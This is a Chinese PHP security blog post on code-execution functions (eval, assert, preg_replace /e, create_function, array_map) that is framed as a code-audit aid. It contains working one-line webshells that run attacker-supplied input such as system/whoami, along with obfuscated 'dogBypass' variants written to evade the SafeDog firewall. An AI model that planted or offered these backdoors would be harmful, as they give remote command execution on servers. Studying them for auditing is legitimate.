学会代码执行函数,让老哥带你勇闯天涯!

最近研究PHP的一些危险函数,先写下代码执行函数的归纳,主要是参考自官方手册的解读,并附上了一些dogBypass的一句话,为什么是dog呢?因为在我看来dog比较适合练手,所以本篇所有bypass仅适用dog(事实是因为时间有限 没有研究其他防护软件~),其他的防护需要自行测试,大家如果有其他代码执行函数也可提出,一起讨论交流。

本次将分为两篇进行讲解:

本篇涉及函数:eval()、assert()、preg_repace()、create_function()、array_map()

下篇涉及函数:call_user_func()、call_user_func_array(),array_filter,usort,uasort()

0x00 eval

eval函数会将字符串作为PHP代码执行,如常见的一句话后门程序:<?php eval($_POST[cmd])?>, 属于基础内容本篇暂不讨论。

0x01 assert函数

最常用的回调函数,验证assert后面的括号里的代码是否为true的函数。如果表达式不为true,那么则会给一个warning的警告

如:<?php assert('1==2');?>

则会提醒:PHP Warning: assert(): Assertion “1==2” failed in /usercode/file.php on line 1。

【利用示例代码】

<?php
//?cmd=phpinfo()
assert($_GET['cmd']);
?>
【dogBypass】
<?php
//cmd=phpinfo()
function cl  (){
return 'assert';
}
$a = cl();
$a($_POST['cmd']);
?>

assert_options 用于设置/获取断言的各种标志。

``````

【示例代码】

<?php
// 处理断言失败时的函数
function assert_failure()
{
    echo 'Assert failed';
}
// 我们的测试函数
function test_assert($parameter)
{
    assert(is_bool($parameter));
}
// 设置断言标志
assert_options(ASSERT_ACTIVE,   true);
assert_options(ASSERT_BAIL,     true);
assert_options(ASSERT_WARNING,  false);
assert_options(ASSERT_CALLBACK, 'assert_failure');
// 让一个断言会失败
test_assert(1);
// 由于 ASSERT_BAIL 是 true,这里永远也到不了
echo 'Never reached';
?> 

0x02 preg_replace函数 : php<=5.5

执行一个正则表达式的搜索和替换,函数在php5.5被弃用,在php7.0被移除。

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

搜索subject中匹配pattern的部分, 以replacement进行替换。

当第一个参数的正则表达式有e修正符的时候,第二个参数的字符串当做PHP代码执行。

源自官方的解释:

e (PREG_REPLACE_EVAL)

Warning

This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义。

【示例代码】

<?php
//?cmd=phpinfo()
echo preg_replace("/test/e",$_GET["cmd"],"jutsttest");
?>

0x03 creat_function函数

用于创建匿名函数, 使用了eval的操作存在某些安全性问题。

源自官方的解释

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

create_function — Create an anonymous (lambda-style) function

语法:

string create_function ( string $args , string $code )

参数:

args

The function arguments.

code

The function code.

Caution

This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.

返回值:

Returns a unique function name as a string, or FALSE on error。

【用法理解】

<?php
$foo = create_function( '$x', 'return $x * 2;' );
echo $foo( 10 );
?>
相当于:
<?php
function foo ($x){
 return $x *= 2;
};
echo foo( 10 );
?> 

create_function的实现步骤:(参考自:http://www.laruence.com/2010/06/20/1602.html 讲解更为清晰)

1. 获取参数, 函数体

2. 拼凑一个"function __lambda_func (参数) { 函数体;} "的字符串

3. eval之

4. 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错

5. 定义一个函数名:"\000_lambda_" . count(anonymous_functions)++

6. 用新的函数名替换__lambda_func

7. 返回新的函数名

问题一:未对要传入create_function中的代码做清理,执行的code拼接了可控变量的数据,导致可以将evil代码传入并被执行。【场景:直接写入恶意代码】

详细介绍:https://www.t00ls.net/viewthread.php?tid=20774

国文参考:http://lovexm.blog.51cto.com/3567383/1743442

外文参考:https://ttmm.io/tech/php-security-lambdas/

利用示例代码 &【dogBypass】:

<?php
//post:name1=Thinking&name2=JoeVatte;}phpinfo();/*
$name1 = $_POST['name1'];
$name2 = $_POST['name2'];
$str = 'return'.$name1." & ".$name2.';';
echo $str.'<br >';
$newfunc = create_function('$name1',$str);

问题二: 用于函数函数回调,个人理解就是create_function内部会使用eval,将传入的字符串进行eval得到函数体,在执行该函数。【场景:找到相应函数所在位置,审查是否有可以利用的地方】

源自官方的解释:

Using anonymous functions as callback functions

<?php
$av = array("the ", "a ", "that ", "this ");
array_walk($av, create_function('&$v,$k', '$v = $v . "mango";'));
print_r($av);
?>

以上例程会输出:

Array
 (
   [0] => the mango
   [1] => a mango
   [2] => that mango
   [3] => this mango
 )

示例代码,例子不好没想到怎么构造:

<?php
function evil($evil)
{
    echo $evil.':test | ';
}
$av = array("the ", "a ", "that ", "this ");
array_walk($av, create_function('&$v,$k', 'evil($v);'));
print_r($av);
?>

0x04 array_map函数

源自官方的解释:

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_map — 为数组的每个元素应用回调函数

说明:

array array_map ( callable $callback , array $array1 [, array $... ] )

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

参数:

callback

回调函数,应用到每个数组里的每个元素。

array1

数组,遍历运行 callback 函数。

数组列表,每个都遍历运行 callback 函数。

返回值

返回数组,包含 callback 函数处理之后 array1 的所有元素。

Example #1 array_map() 例子

<?php
function cube($n)
{
    return($n * $n * $n);
}
$a = array(1, 2, 3, 4, 5);
$b = array_map("cube", $a);
print_r($b);
?> 

这使得 $b 成为:

Array ( [0] => 1 [1] => 8 [2] => 27 [3] => 64 [4] => 125 )

【利用示例代码】

<?php
//post:func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_cmd=$_POST['cmd'];
$bad_array[0]=$bad_cmd;
$new_array=array_map($bad_func,$bad_array);
//print_r($new_array);
?>

【dogBypass】

<?php
//post:func=system&cmd=whoami
$bad_func=$_POST['func'];
$bad_cmd=$_POST['cmd'];
$bad_array[0]=$bad_cmd;
$func_evil=trim(' a r ra y_ma p  ');
$func_evil =str_replace(" ", "", $func_evil);
$new_array=$func_evil($bad_func,$bad_array);
//print_r($new_array);
?>

总结:

希望本篇可以帮助大家在代码审计中理清楚需要重点关注的危险函数,当然大伙如果有其他代码执行函数也可提出,一起讨论交流,下篇将会继续补充其他代码执行函数,顺带说下有些时候dogBypass 并没有想象中那么复杂 :)

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2017-09-08

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏精讲JAVA

Git 内部原理之 Git 对象哈希

在上一篇文章中,将了数据对象、树对象和提交对象三种Git对象,每种对象会计算出一个hash值。那么,Git是如何计算出Git对象的hash值?本文的内容就是来解...

13720
来自专栏java一日一条

Java类的生命周期详解

最近有位细心的朋友在阅读笔者的文章时,对java类的生命周期问题有一些疑惑,笔者打开百度搜了一下相关的问题,看到网上的资料很少有把这个问题 讲明白的,主要是因为...

16630
来自专栏微信公众号:Java团长

详解Java类的生命周期

最近有位细心的朋友在阅读笔者的文章时,对java类的生命周期问题有一些疑惑,笔者打开百度搜了一下相关的问题,看到网上的资料很少有把这个问题讲明白的,主要是因为目...

11220
来自专栏IT派

Python字节码介绍

如果你曾经编写亦或只是使用Python语言,那么你可能已经习惯了看Python源码文件; 源码的文件名以.py结尾。或许你也已经注意到了另一种类型的文件,文件名...

24230
来自专栏人工智能LeadAI

JAVA回调机制(CallBack)详解

什么是回调函数(Callback Function) 回调的应用场景非常广泛,在spring中可以看到很多应用了回调的地方,以调用相应的库函数为例子,当程序跑...

47650
来自专栏青玉伏案

算法与数据结构(二) 栈与队列的线性和链式表示(Swift版)

数据结构中的栈与队列还是经常使用的,栈与队列其实就是线性表的一种应用。因为线性队列分为顺序存储和链式存储,所以栈可以分为链栈和顺序栈,队列也可分为顺序队列和链队...

193100
来自专栏Python中文社区

有效的python属性管理:描述符的使用

專 欄 ❈Pytlab,Python中文社区专栏作者。主要从事科学计算与高性能计算领域的应用,主要语言为Python,C,C++。熟悉数值算法(最优化方法,蒙...

20590
来自专栏老马说编程

计算机程序的思维逻辑 (7) - 如何从乱码中恢复 (下)?

乱码 上节说到乱码出现的主要原因,即在进行编码转换的时候,如果将原来的编码识别错了,并进行了转换,就会发生乱码,而且这时候无论怎么切换查看编码的方式,都是不行...

21780
来自专栏liulun

Nim教程【十一】

引用类型和指针类型 不同的引用可以只想和修改相同的内存单元 在nim中有两种引用方式,一种是追踪引用,另一种是非追踪引用 非追踪引用也就是指针,指向手动在内存中...

21960
来自专栏Celebi的专栏

C/C++ 学习笔记三(函数)

函数在编程语言中可谓“头等公民”,理解函数的实现原理,函数的一些方法论对于编程非常有好处。 我将从函数的实现原理以及编写函数的一些建议两个的角度来重新认识一下C...

14400

扫码关注云+社区

领取腾讯云代金券